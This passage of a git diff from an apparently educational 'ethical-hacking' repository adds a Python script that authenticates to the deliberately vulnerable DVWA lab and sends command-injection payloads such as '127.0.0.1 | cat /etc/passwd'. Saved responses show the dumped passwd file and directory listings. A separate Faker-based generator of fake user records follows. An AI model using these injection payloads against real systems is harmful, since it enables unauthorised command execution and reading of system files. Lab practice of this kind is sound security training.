+login_data = {
+    "username": "admin",
+    "password": "password",
+    "Login": "Login"
+}
+
+# Define the vulnerable page URL.
+vuln_page_url = urljoin(target_url, "vulnerabilities/exec/")
+
+# Define the test payloads.
+payloads = [
+    "ls | whoami",
+    "127.0.0.1 | cat /etc/passwd",
+    "127.0.0.1 | ls -la"
+]
+
+def check_command_injection(base_url, login_url, login_data, vuln_page_url, payloads):
+    print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}")
+
+    # Authenticate with the application.
+    session = requests.Session()
+    response = session.post(login_url, data=login_data)
+
+    if "Login failed" in response.text:
+        print("[-] Authentication failed. Please check the credentials.")
+        return
+
+    responses = ""
+
+    for payload in payloads:
+        # Send the payload through the form.
+        form_data = {
+            "ip": payload,
+            "submit": "Submit"
+        }
+
+        try:
+            response = session.post(vuln_page_url, data=form_data)
+            print(f"{Fore.GREEN}[!] Payload used: {payload}{Style.RESET_ALL}")
+            print("[+] Response after command injection:\n")
+            print("=" * 80)
+            print(response.text)
+            print("=" * 80)
+            print(f"\n{Fore.YELLOW}[!] Please manually inspect the response to determine if the parameter is vulnerable to command injection.{Style.RESET_ALL}\n")
+
+            responses += f"[!] Payload used: {payload}\n"
+            responses += "[+] Response after command injection:\n"
+            responses += "=" * 80 + "\n"
+            responses += response.text
+            responses += "=" * 80 + "\n\n"
+        except Exception as e:
+            print(f"{Fore.RED}[-] Error occurred while testing payload '{payload}': {e}{Style.RESET_ALL}")
+            responses += f"[-] Error occurred while testing payload '{payload}': {e}\n"
+
+    # Write the responses to a text file.
+    with open("multiple_payload_response.txt", "w") as f:
+        f.write(responses)
+    print("[+] Responses written to response.txt")
+
+    print("[+] Command injection testing completed.\n")
+
+# Call the function with the required parameters.
+check_command_injection(target_url, login_url, login_data, vuln_page_url, payloads)
\ No newline at end of file
diff --git a/ethical-hacking/exploit-command-injection/multiple_payload_response.txt b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt
new file mode 100644
index 00000000..c87a195e
--- /dev/null
+++ b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt
@@ -0,0 +1,316 @@
+[!] Payload used: ls | whoami
+[+] Response after command injection:
+================================================================================
+

+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

+

+<html xmlns="http://www.w3.org/1999/xhtml">

+

+	<head>

+		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

+

+		<title>Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force</title>

+

+		<link rel="stylesheet" type="text/css" href="https://github.com/dvwa/css/main.css" />

+

+		<link rel="icon" type="\image/ico" href="https://github.com/favicon.ico" />

+

+		<script type="text/javascript" src="https://github.com/dvwa/js/dvwaPage.js"></script>

+

+	</head>

+

+	<body class="home">

+		<div id="container">

+

+			<div id="header">

+

+				<img src="https://github.com/dvwa/images/logo.png" alt="Damn Vulnerable Web App" />

+

+			</div>

+

+			<div id="main_menu">

+

+				<div id="main_menu_padded">

+				<ul><li onclick="window.location='../../.'" class=""><a href="https://github.com/">Home</a></li><li onclick="window.location='../../instructions.php'" class=""><a href="https://github.com/instructions.php">Instructions</a></li><li onclick="window.location='../../setup.php'" class=""><a href="https://github.com/setup.php">Setup</a></li></ul><ul><li onclick="window.location='../../vulnerabilities/brute/.'" class=""><a href="https://github.com/vulnerabilities/brute/">Brute Force</a></li><li onclick="window.location='../../vulnerabilities/exec/.'" class="selected"><a href="https://github.com/vulnerabilities/exec/">Command Execution</a></li><li onclick="window.location='../../vulnerabilities/csrf/.'" class=""><a href="https://github.com/vulnerabilities/csrf/">CSRF</a></li><li onclick="window.location='../../vulnerabilities/fi/.?page=include.php'" class=""><a href="https://github.com/vulnerabilities/fi/?page=include.php">File Inclusion</a></li><li onclick="window.location='../../vulnerabilities/sqli/.'" class=""><a href="https://github.com/vulnerabilities/sqli/">SQL Injection</a></li><li onclick="window.location='../../vulnerabilities/sqli_blind/.'" class=""><a href="https://github.com/vulnerabilities/sqli_blind/">SQL Injection (Blind)</a></li><li onclick="window.location='../../vulnerabilities/upload/.'" class=""><a href="https://github.com/vulnerabilities/upload/">Upload</a></li><li onclick="window.location='../../vulnerabilities/xss_r/.'" class=""><a href="https://github.com/vulnerabilities/xss_r/">XSS reflected</a></li><li onclick="window.location='../../vulnerabilities/xss_s/.'" class=""><a href="https://github.com/vulnerabilities/xss_s/">XSS stored</a></li></ul><ul><li onclick="window.location='../../security.php'" class=""><a href="https://github.com/security.php">DVWA Security</a></li><li onclick="window.location='../../phpinfo.php'" class=""><a href="https://github.com/phpinfo.php">PHP Info</a></li><li onclick="window.location='../../about.php'" class=""><a href="https://github.com/about.php">About</a></li></ul><ul><li onclick="window.location='../../logout.php'" class=""><a href="https://github.com/logout.php">Logout</a></li></ul>

+				</div>

+

+			</div>

+

+			<div id="main_body">

+

+				

+<div class="body_padded">

+	<h1>Vulnerability: Command Execution</h1>

+

+	<div class="vulnerable_code_area">

+

+		<h2>Ping for FREE</h2>

+

+		<p>Enter an IP address below:</p>

+		<form name="ping" action="#" method="post">

+			<input type="text" name="ip" size="30">

+			<input type="submit" value="submit" name="submit">

+		</form>

+

+		<pre>www-data
+</pre>

+

+	</div>

+

+	<h2>More info</h2>

+	<ul>

+		<li><a href="http://hiderefer.com/?http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution" target="_blank">http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution</a></li>

+		<li><a href="http://hiderefer.com/?http://www.ss64.com/bash/" target="_blank">http://www.ss64.com/bash/</a></li>

+		<li><a href="http://hiderefer.com/?http://www.ss64.com/nt/" target="_blank">http://www.ss64.com/nt/</a></li>

+	</ul>

+</div>

+

+				<br />

+				<br />

+				

+

+			</div>

+

+			<div class="clear">

+			</div>

+

+			<div id="system_info">

+				<input type="button" value="View Help" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_help.php?id=exec&security=medium' )"> <input type="button" value="View Source" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_source.php?id=exec&security=medium' )"> <div align="left"><b>Username:</b> admin<br /><b>Security Level:</b> medium<br /><b>PHPIDS:</b> disabled</div>

+			</div>

+

+			<div id="footer">

+

+				<p>Damn Vulnerable Web Application (DVWA) v1.0.7</p>

+

+			</div>

+

+		</div>

+

+	</body>

+

+</html>================================================================================
+
+[!] Payload used: 127.0.0.1 | cat /etc/passwd
+[+] Response after command injection:
+================================================================================
+

+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

+

+<html xmlns="http://www.w3.org/1999/xhtml">

+

+	<head>

+		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

+

+		<title>Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force</title>

+

+		<link rel="stylesheet" type="text/css" href="https://github.com/dvwa/css/main.css" />

+

+		<link rel="icon" type="\image/ico" href="https://github.com/favicon.ico" />

+

+		<script type="text/javascript" src="https://github.com/dvwa/js/dvwaPage.js"></script>

+

+	</head>

+

+	<body class="home">

+		<div id="container">

+

+			<div id="header">

+

+				<img src="https://github.com/dvwa/images/logo.png" alt="Damn Vulnerable Web App" />

+

+			</div>

+

+			<div id="main_menu">

+

+				<div id="main_menu_padded">

+				<ul><li onclick="window.location='../../.'" class=""><a href="https://github.com/">Home</a></li><li onclick="window.location='../../instructions.php'" class=""><a href="https://github.com/instructions.php">Instructions</a></li><li onclick="window.location='../../setup.php'" class=""><a href="https://github.com/setup.php">Setup</a></li></ul><ul><li onclick="window.location='../../vulnerabilities/brute/.'" class=""><a href="https://github.com/vulnerabilities/brute/">Brute Force</a></li><li onclick="window.location='../../vulnerabilities/exec/.'" class="selected"><a href="https://github.com/vulnerabilities/exec/">Command Execution</a></li><li onclick="window.location='../../vulnerabilities/csrf/.'" class=""><a href="https://github.com/vulnerabilities/csrf/">CSRF</a></li><li onclick="window.location='../../vulnerabilities/fi/.?page=include.php'" class=""><a href="https://github.com/vulnerabilities/fi/?page=include.php">File Inclusion</a></li><li onclick="window.location='../../vulnerabilities/sqli/.'" class=""><a href="https://github.com/vulnerabilities/sqli/">SQL Injection</a></li><li onclick="window.location='../../vulnerabilities/sqli_blind/.'" class=""><a href="https://github.com/vulnerabilities/sqli_blind/">SQL Injection (Blind)</a></li><li onclick="window.location='../../vulnerabilities/upload/.'" class=""><a href="https://github.com/vulnerabilities/upload/">Upload</a></li><li onclick="window.location='../../vulnerabilities/xss_r/.'" class=""><a href="https://github.com/vulnerabilities/xss_r/">XSS reflected</a></li><li onclick="window.location='../../vulnerabilities/xss_s/.'" class=""><a href="https://github.com/vulnerabilities/xss_s/">XSS stored</a></li></ul><ul><li onclick="window.location='../../security.php'" class=""><a href="https://github.com/security.php">DVWA Security</a></li><li onclick="window.location='../../phpinfo.php'" class=""><a href="https://github.com/phpinfo.php">PHP Info</a></li><li onclick="window.location='../../about.php'" class=""><a href="https://github.com/about.php">About</a></li></ul><ul><li onclick="window.location='../../logout.php'" class=""><a href="https://github.com/logout.php">Logout</a></li></ul>

+				</div>

+

+			</div>

+

+			<div id="main_body">

+

+				

+<div class="body_padded">

+	<h1>Vulnerability: Command Execution</h1>

+

+	<div class="vulnerable_code_area">

+

+		<h2>Ping for FREE</h2>

+

+		<p>Enter an IP address below:</p>

+		<form name="ping" action="#" method="post">

+			<input type="text" name="ip" size="30">

+			<input type="submit" value="submit" name="submit">

+		</form>

+

+		<pre>root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+</pre>

+

+	</div>

+

+	<h2>More info</h2>

+	<ul>

+		<li><a href="http://hiderefer.com/?http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution" target="_blank">http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution</a></li>

+		<li><a href="http://hiderefer.com/?http://www.ss64.com/bash/" target="_blank">http://www.ss64.com/bash/</a></li>

+		<li><a href="http://hiderefer.com/?http://www.ss64.com/nt/" target="_blank">http://www.ss64.com/nt/</a></li>

+	</ul>

+</div>

+

+				<br />

+				<br />

+				

+

+			</div>

+

+			<div class="clear">

+			</div>

+

+			<div id="system_info">

+				<input type="button" value="View Help" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_help.php?id=exec&security=medium' )"> <input type="button" value="View Source" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_source.php?id=exec&security=medium' )"> <div align="left"><b>Username:</b> admin<br /><b>Security Level:</b> medium<br /><b>PHPIDS:</b> disabled</div>

+			</div>

+

+			<div id="footer">

+

+				<p>Damn Vulnerable Web Application (DVWA) v1.0.7</p>

+

+			</div>

+

+		</div>

+

+	</body>

+

+</html>================================================================================
+
+[!] Payload used: 127.0.0.1 | ls -la
+[+] Response after command injection:
+================================================================================
+

+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

+

+<html xmlns="http://www.w3.org/1999/xhtml">

+

+	<head>

+		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

+

+		<title>Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force</title>

+

+		<link rel="stylesheet" type="text/css" href="https://github.com/dvwa/css/main.css" />

+

+		<link rel="icon" type="\image/ico" href="https://github.com/favicon.ico" />

+

+		<script type="text/javascript" src="https://github.com/dvwa/js/dvwaPage.js"></script>

+

+	</head>

+

+	<body class="home">

+		<div id="container">

+

+			<div id="header">

+

+				<img src="https://github.com/dvwa/images/logo.png" alt="Damn Vulnerable Web App" />

+

+			</div>

+

+			<div id="main_menu">

+

+				<div id="main_menu_padded">

+				<ul><li onclick="window.location='../../.'" class=""><a href="https://github.com/">Home</a></li><li onclick="window.location='../../instructions.php'" class=""><a href="https://github.com/instructions.php">Instructions</a></li><li onclick="window.location='../../setup.php'" class=""><a href="https://github.com/setup.php">Setup</a></li></ul><ul><li onclick="window.location='../../vulnerabilities/brute/.'" class=""><a href="https://github.com/vulnerabilities/brute/">Brute Force</a></li><li onclick="window.location='../../vulnerabilities/exec/.'" class="selected"><a href="https://github.com/vulnerabilities/exec/">Command Execution</a></li><li onclick="window.location='../../vulnerabilities/csrf/.'" class=""><a href="https://github.com/vulnerabilities/csrf/">CSRF</a></li><li onclick="window.location='../../vulnerabilities/fi/.?page=include.php'" class=""><a href="https://github.com/vulnerabilities/fi/?page=include.php">File Inclusion</a></li><li onclick="window.location='../../vulnerabilities/sqli/.'" class=""><a href="https://github.com/vulnerabilities/sqli/">SQL Injection</a></li><li onclick="window.location='../../vulnerabilities/sqli_blind/.'" class=""><a href="https://github.com/vulnerabilities/sqli_blind/">SQL Injection (Blind)</a></li><li onclick="window.location='../../vulnerabilities/upload/.'" class=""><a href="https://github.com/vulnerabilities/upload/">Upload</a></li><li onclick="window.location='../../vulnerabilities/xss_r/.'" class=""><a href="https://github.com/vulnerabilities/xss_r/">XSS reflected</a></li><li onclick="window.location='../../vulnerabilities/xss_s/.'" class=""><a href="https://github.com/vulnerabilities/xss_s/">XSS stored</a></li></ul><ul><li onclick="window.location='../../security.php'" class=""><a href="https://github.com/security.php">DVWA Security</a></li><li onclick="window.location='../../phpinfo.php'" class=""><a href="https://github.com/phpinfo.php">PHP Info</a></li><li onclick="window.location='../../about.php'" class=""><a href="https://github.com/about.php">About</a></li></ul><ul><li onclick="window.location='../../logout.php'" class=""><a href="https://github.com/logout.php">Logout</a></li></ul>

+				</div>

+

+			</div>

+

+			<div id="main_body">

+

+				

+<div class="body_padded">

+	<h1>Vulnerability: Command Execution</h1>

+

+	<div class="vulnerable_code_area">

+

+		<h2>Ping for FREE</h2>

+

+		<p>Enter an IP address below:</p>

+		<form name="ping" action="#" method="post">

+			<input type="text" name="ip" size="30">

+			<input type="submit" value="submit" name="submit">

+		</form>

+

+		<pre>total 20
+drwxr-xr-x  4 www-data www-data 4096 May 20  2012 .
+drwxr-xr-x 11 www-data www-data 4096 May 20  2012 ..
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 help
+-rw-r--r--  1 www-data www-data 1509 Mar 16  2010 index.php
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 source
+</pre>

+

+	</div>

+

+	<h2>More info</h2>

+	<ul>

+		<li><a href="http://hiderefer.com/?http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution" target="_blank">http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution</a></li>

+		<li><a href="http://hiderefer.com/?http://www.ss64.com/bash/" target="_blank">http://www.ss64.com/bash/</a></li>

+		<li><a href="http://hiderefer.com/?http://www.ss64.com/nt/" target="_blank">http://www.ss64.com/nt/</a></li>

+	</ul>

+</div>

+

+				<br />

+				<br />

+				

+

+			</div>

+

+			<div class="clear">

+			</div>

+

+			<div id="system_info">

+				<input type="button" value="View Help" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_help.php?id=exec&security=medium' )"> <input type="button" value="View Source" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_source.php?id=exec&security=medium' )"> <div align="left"><b>Username:</b> admin<br /><b>Security Level:</b> medium<br /><b>PHPIDS:</b> disabled</div>

+			</div>

+

+			<div id="footer">

+

+				<p>Damn Vulnerable Web Application (DVWA) v1.0.7</p>

+

+			</div>

+

+		</div>

+

+	</body>

+

+</html>================================================================================
+
diff --git a/ethical-hacking/exploit-command-injection/requirements.txt b/ethical-hacking/exploit-command-injection/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/ethical-hacking/exploit-command-injection/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/exploit-command-injection/response.txt b/ethical-hacking/exploit-command-injection/response.txt
new file mode 100644
index 00000000..3e46a5db
--- /dev/null
+++ b/ethical-hacking/exploit-command-injection/response.txt
@@ -0,0 +1,123 @@
+

+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

+

+<html xmlns="http://www.w3.org/1999/xhtml">

+

+	<head>

+		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

+

+		<title>Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force</title>

+

+		<link rel="stylesheet" type="text/css" href="https://github.com/dvwa/css/main.css" />

+

+		<link rel="icon" type="\image/ico" href="https://github.com/favicon.ico" />

+

+		<script type="text/javascript" src="https://github.com/dvwa/js/dvwaPage.js"></script>

+

+	</head>

+

+	<body class="home">

+		<div id="container">

+

+			<div id="header">

+

+				<img src="https://github.com/dvwa/images/logo.png" alt="Damn Vulnerable Web App" />

+

+			</div>

+

+			<div id="main_menu">

+

+				<div id="main_menu_padded">

+				<ul><li onclick="window.location='../../.'" class=""><a href="https://github.com/">Home</a></li><li onclick="window.location='../../instructions.php'" class=""><a href="https://github.com/instructions.php">Instructions</a></li><li onclick="window.location='../../setup.php'" class=""><a href="https://github.com/setup.php">Setup</a></li></ul><ul><li onclick="window.location='../../vulnerabilities/brute/.'" class=""><a href="https://github.com/vulnerabilities/brute/">Brute Force</a></li><li onclick="window.location='../../vulnerabilities/exec/.'" class="selected"><a href="https://github.com/vulnerabilities/exec/">Command Execution</a></li><li onclick="window.location='../../vulnerabilities/csrf/.'" class=""><a href="https://github.com/vulnerabilities/csrf/">CSRF</a></li><li onclick="window.location='../../vulnerabilities/fi/.?page=include.php'" class=""><a href="https://github.com/vulnerabilities/fi/?page=include.php">File Inclusion</a></li><li onclick="window.location='../../vulnerabilities/sqli/.'" class=""><a href="https://github.com/vulnerabilities/sqli/">SQL Injection</a></li><li onclick="window.location='../../vulnerabilities/sqli_blind/.'" class=""><a href="https://github.com/vulnerabilities/sqli_blind/">SQL Injection (Blind)</a></li><li onclick="window.location='../../vulnerabilities/upload/.'" class=""><a href="https://github.com/vulnerabilities/upload/">Upload</a></li><li onclick="window.location='../../vulnerabilities/xss_r/.'" class=""><a href="https://github.com/vulnerabilities/xss_r/">XSS reflected</a></li><li onclick="window.location='../../vulnerabilities/xss_s/.'" class=""><a href="https://github.com/vulnerabilities/xss_s/">XSS stored</a></li></ul><ul><li onclick="window.location='../../security.php'" class=""><a href="https://github.com/security.php">DVWA Security</a></li><li onclick="window.location='../../phpinfo.php'" class=""><a href="https://github.com/phpinfo.php">PHP Info</a></li><li onclick="window.location='../../about.php'" class=""><a href="https://github.com/about.php">About</a></li></ul><ul><li onclick="window.location='../../logout.php'" class=""><a href="https://github.com/logout.php">Logout</a></li></ul>

+				</div>

+

+			</div>

+

+			<div id="main_body">

+

+				

+<div class="body_padded">

+	<h1>Vulnerability: Command Execution</h1>

+

+	<div class="vulnerable_code_area">

+

+		<h2>Ping for FREE</h2>

+

+		<p>Enter an IP address below:</p>

+		<form name="ping" action="#" method="post">

+			<input type="text" name="ip" size="30">

+			<input type="submit" value="submit" name="submit">

+		</form>

+

+		<pre>root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+</pre>

+

+	</div>

+

+	<h2>More info</h2>

+	<ul>

+		<li><a href="http://hiderefer.com/?http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution" target="_blank">http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution</a></li>

+		<li><a href="http://hiderefer.com/?http://www.ss64.com/bash/" target="_blank">http://www.ss64.com/bash/</a></li>

+		<li><a href="http://hiderefer.com/?http://www.ss64.com/nt/" target="_blank">http://www.ss64.com/nt/</a></li>

+	</ul>

+</div>

+

+				<br />

+				<br />

+				

+

+			</div>

+

+			<div class="clear">

+			</div>

+

+			<div id="system_info">

+				<input type="button" value="View Help" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_help.php?id=exec&security=medium' )"> <input type="button" value="View Source" class="popup_button" onClick="javascript:popUp( '../../vulnerabilities/view_source.php?id=exec&security=medium' )"> <div align="left"><b>Username:</b> admin<br /><b>Security Level:</b> medium<br /><b>PHPIDS:</b> disabled</div>

+			</div>

+

+			<div id="footer">

+

+				<p>Damn Vulnerable Web Application (DVWA) v1.0.7</p>

+

+			</div>

+

+		</div>

+

+	</body>

+

+</html>
\ No newline at end of file
diff --git a/ethical-hacking/fake-user-data-generator/README.md b/ethical-hacking/fake-user-data-generator/README.md
new file mode 100644
index 00000000..3e304d15
--- /dev/null
+++ b/ethical-hacking/fake-user-data-generator/README.md
@@ -0,0 +1 @@
+# [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/fake-user-data-generator/fake_data.py b/ethical-hacking/fake-user-data-generator/fake_data.py
new file mode 100644
index 00000000..021cbd72
--- /dev/null
+++ b/ethical-hacking/fake-user-data-generator/fake_data.py
@@ -0,0 +1,124 @@
+# Import necessary libraries and modules.
+from faker import Faker
+from faker.providers import internet
+import csv
+
+
+# Function to generate user data with the specified number of users.
+def generate_user_data(num_of_users):
+    # Create a Faker instance.
+    fake = Faker()
+    # Add the Internet provider to generate email addresses and IP addresses.
+    fake.add_provider(internet)
+
+    # Initialize an empty list to store user data.
+    user_data = []
+    # Loop to generate data for the specified number of users.
+    for _ in range(num_of_users):
+        # Create a dictionary representing a user with various attributes.
+        user = {
+            'Name': fake.name(),
+            'Email': fake.free_email(),
+            'Phone Number': fake.phone_number(),
+            'Birthdate': fake.date_of_birth(),
+            'Address': fake.address(),
+            'City': fake.city(),
+            'Country': fake.country(),
+            'ZIP Code': fake.zipcode(),
+            'Job Title': fake.job(),
+            'Company': fake.company(),
+            'IP Address': fake.ipv4_private(),
+            'Credit Card Number': fake.credit_card_number(),
+            'Username': fake.user_name(),
+            'Website': fake.url(),
+            'SSN': fake.ssn()
+        }
+        # Append the user data dictionary to the user_data list.
+        user_data.append(user)
+
+    # Return the list of generated user data.
+    return user_data
+
+
+# Function to save user data to a CSV file.
+def save_to_csv(data, filename):
+    # Get the keys (column names) from the first dictionary in the data list.
+    keys = data[0].keys()
+    # Open the CSV file for writing.
+    with open(filename, 'w', newline='') as output_file:
+        # Create a CSV writer with the specified column names.
+        writer = csv.DictWriter(output_file, fieldnames=keys)
+        # Write the header row to the CSV file.
+        writer.writeheader()
+        # Iterate through each user dictionary and write a row to the CSV file.
+        for user in data:
+            writer.writerow(user)
+    # Print a success message indicating that the data has been saved to the file.
+    print(f'[+] Data saved to {filename} successfully.')
+
+
+# Function to save user data to a text file.
+def save_to_text(data, filename):
+    # Open the text file for writing.
+    with open(filename, 'w') as output_file:
+        # Iterate through each user dictionary.
+        for user in data:
+            # Iterate through key-value pairs in the user dictionary and write to the text file.
+            for key, value in user.items():
+                output_file.write(f"{key}: {value}\n")
+            # Add a newline between users in the text file.
+            output_file.write('\n')
+    # Print a success message indicating that the data has been saved to the file.
+    print(f'[+] Data saved to {filename} successfully.')
+
+
+# Function to print user data vertically.
+def print_data_vertically(data):
+    # Iterate through each user dictionary in the data list.
+    for user in data:
+        # Iterate through key-value pairs in the user dictionary and print vertically.
+        for key, value in user.items():
+            print(f"{key}: {value}")
+        # Add a newline between users.
+        print()
+
+
+# Get the number of users from user input.
+number_of_users = int(input("[!] Enter the number of users to generate: "))
+# Generate user data using the specified number of users.
+user_data = generate_user_data(number_of_users)
+
+# Ask the user if they want to save the data to a file.
+save_option = input("[?] Do you want to save the data to a file? (yes/no): ").lower()
+
+# If the user chooses to save the data.
+if save_option == 'yes':
+    # Ask the user for the file type (CSV, TXT, or both).
+    file_type = input("[!] Enter file type (csv/txt/both): ").lower()
+
+    # Save to CSV if the user chose CSV or both.
+    if file_type == 'csv' or file_type == 'both':
+        # Ask the user for the CSV filename.
+        custom_filename_csv = input("[!] Enter the CSV filename (without extension): ")
+        # Concatenate the filename with the .csv extension.
+        filename_csv = f"{custom_filename_csv}.csv"
+        # Call the save_to_csv function to save the data to the CSV file.
+        save_to_csv(user_data, filename_csv)
+
+    # Save to TXT if the user chose TXT or both.
+    if file_type == 'txt' or file_type == 'both':
+        # Ask the user for the TXT filename.
+        custom_filename_txt = input("[!] Enter the TXT filename (without extension): ")
+        # Concatenate the filename with the .txt extension.
+        filename_txt = f"{custom_filename_txt}.txt"
+        # Call the save_to_text function to save the data to the text file.
+        save_to_text(user_data, filename_txt)
+
+    # If the user entered an invalid file type.
+    if file_type not in ['csv', 'txt', 'both']:
+        # Print an error message indicating that the file type is invalid.
+        print("[-] Invalid file type. Data not saved.")
+# If the user chose not to save the data, print it vertically.
+else:
+    # Call the print_data_vertically function to print the data vertically.
+    print_data_vertically(user_data)
diff --git a/ethical-hacking/fake-user-data-generator/requirements.txt b/ethical-hacking/fake-user-data-generator/requirements.txt
new file mode 100644
index 00000000..ea45cd03
--- /dev/null
+++ b/ethical-hacking/fake-user-data-generator/requirements.txt
@@ -0,0 +1 @@
+Faker
\ No newline at end of file
diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/README.md b/ethical-hacking/find-past-wifi-connections-on-windows/README.md
new file mode 100644
index 00000000..614b160a
--- /dev/null
